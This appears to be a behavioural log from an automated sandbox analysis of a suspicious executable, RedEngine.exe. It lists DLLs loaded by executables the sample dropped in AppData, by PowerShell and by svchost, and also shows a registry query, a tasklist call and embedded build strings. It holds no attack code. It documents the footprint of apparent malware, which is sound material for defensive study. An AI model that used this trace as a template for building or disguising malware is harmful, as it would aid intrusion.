Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: tcl86t.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: tk86t.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: zlib1.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: logoncli.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\mgne4i3n.t1d2.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: python3.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: libffi-8.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: libcrypto-3.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: libssl-3.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: tcl86t.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: tk86t.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: zlib1.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: logoncli.dll
Source: C:\Users\user\AppData\Roaming\CLPPTH\clppth.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\RedEngine.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5E5F29CE-E0A8-49D3-AF32-7A7BDC173478}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: RedEngine.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: RedEngine.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1495251881.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3808593718.00007FFB1E3A3000.00000002.00000001.01000000.00000014.sdmp, clppth.exe, 00000026.00000003.1855125182.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1948258796.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\python312.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3799490703.00007FFB029C2000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3803291292.00007FFB041BF000.00000002.00000001.01000000.00000022.sdmp, clppth.exe, 00000029.00000003.2059501286.000002C498ACE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb\| source: mgne4i3n.t1d2.exe, 0000001F.00000002.3797179498.00007FFB02511000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_ctypes.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3809366779.00007FFB226D1000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1480606739.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000026.00000003.1848674222.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1932878487.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libssl-3.pdbDD source: mgne4i3n.t1d2.exe, 0000001F.00000002.3806869534.00007FFB0B574000.00000002.00000001.01000000.00000017.sdmp, clppth.exe, 0000002A.00000002.3802742975.00007FFB1DED4000.00000002.00000001.01000000.0000002F.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3793790170.00007FFB0197C000.00000002.00000001.01000000.0000001D.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1935960901.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3800269232.00007FFB1C3CC000.00000002.00000001.01000000.00000035.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1482776752.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3793790170.00007FFB0197C000.00000002.00000001.01000000.0000001D.sdmp, clppth.exe, 00000026.00000003.1848837705.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1935960901.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 0000002A.00000002.3800269232.00007FFB1C3CC000.00000002.00000001.01000000.00000035.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1476445244.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3804653921.00007FFB0B48E000.00000002.00000001.01000000.0000001C.sdmp, clppth.exe, 00000026.00000003.1847327209.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1930590183.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"OpenSSL 3.0.13 30 Jan 20243.0.13built on: Mon Feb 5 17:39:09 2024 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availableget_and_lock..\s\crypto\ex_data.cossl_crypto_get_ex_new_index_exossl_crypto_new_ex_data_exCRYPTO_dup_ex_dataCRYPTO_set_ex_dataOPENSSL_WIN32_UTF8..\s\crypto\getenv.ccompiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specificC:\Program Files\Common Files\SSLC:\Program Files\OpenSSL\lib\ossl-modules.dllCPUINFO: ..\s\crypto\init.cOPENSSL_init_cryptoOPENSSL_atexit..\s\crypto\initthread.c..\s\crypto\mem_sec.cassertion failed: (bit & 1) == 0assertion failed: list >= 0 && list < sh.freelist_sizeassertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0assertion failed: bit > 0 && bit < sh.bittable_sizeassertion failed: TESTBIT(table, bit)assertion failed: !TESTBIT(table, bit)assertion failed: WITHIN_FREELIST(list)assertion failed: WITHIN_ARENA(ptr)assertion failed: temp->next == NULL \|\| WITHIN_ARENA(temp->next)assertion failed: (char *)temp->next->p_next == listassertion failed: WITHIN_FREELIST(temp2->p_next) \|\| WITHIN_ARENA(temp2->p_next)assertion failed: size > 0assertion failed: (size & (size - 1)) == 0assertion failed: (minsize & (minsize - 1)) == 0assertion failed: sh.freelist != NULLassertion failed: sh.bittable != NULLassertion failed: sh.bitmalloc != NULLassertion failed: !sh_testbit(temp, slist, sh.bitmalloc)assertion failed: temp != sh.freelist[slist]assertion failed: sh.freelist[slist] == tempassertion failed: temp-(sh.arena_size >> slist) == sh_find_my_buddy(temp, slist)assertion failed: sh_testbit(chunk, list, sh.bittable)assertion failed: WITHIN_ARENA(chunk)assertion failed: sh_testbit(ptr, list, sh.bittable)assertion failed: ptr == sh_find_my_buddy(buddy, list)assertion failed: ptr != NULLassertion failed: !sh_testbit(ptr, list, sh.bitmalloc)assertion failed: sh.freelist[list] == ptr/0123456789ABCDEFCRYPTO_memdup..\s\crypto\o_str.chexstr2buf_sepossl_hexstr2buf_sepbuf2hexstr_sepossl_buf2hexstr_sep..\s\crypto\packet.cwpacket_intern_init_lenWPACKET_start_sub_packet_len__..\s\crypto\param_build.cparam_pushparam_push_numOSSL_PARAM_BLD_push_BN_padNegative big numbers are unsupported for OSSL_PARAMOSSL_PARAM_BLD_push_utf8_stringOSSL_PARAM_BLD_push_utf8_ptrOSSL_PARAM_BLD_push_octet_stringOSSL_PARAM_BLD_
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1476082957.000002C8869BB000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3809691380.00007FFB226F3000.00000002.00000001.01000000.0000000F.sdmp, clppth.exe, 00000026.00000003.1842187984.00000156D218B000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1928851563.000002C498ACA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: mgne4i3n.t1d2.exe, 0000001F.00000002.3797179498.00007FFB02479000.00000002.00000001.01000000.00000016.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: mgne4i3n.t1d2.exe, 0000000E.00000003.1476082957.000002C8869BB000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3809691380.00007FFB226F3000.00000002.00000001.01000000.0000000F.sdmp, clppth.exe, 00000026.00000003.1842187984.00000156D218B000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1928851563.000002C498ACA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_tkinter.pdb source: mgne4i3n.t1d2.exe, 0000000E.00000003.1486855187.000002C8869BC000.00000004.00000020.00020000.00000000.sdmp, mgne4i3n.t1d2.exe, 0000001F.00000002.3806016882.00007FFB0B4D8000.00000002.00000001.01000000.00000018.sdmp, clppth.exe, 00000026.00000003.1849282939.00000156D218C000.00000004.00000020.00020000.00000000.sdmp, clppth.exe, 00000029.00000003.1942221585.000002C498ACB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\libcrypto-3.pdb source: mgne4i3n.t1d2.exe, 0000001F.00000002.3797179498.00007FFB02511000.00000002.00000001.01000000.00000016.sdmp
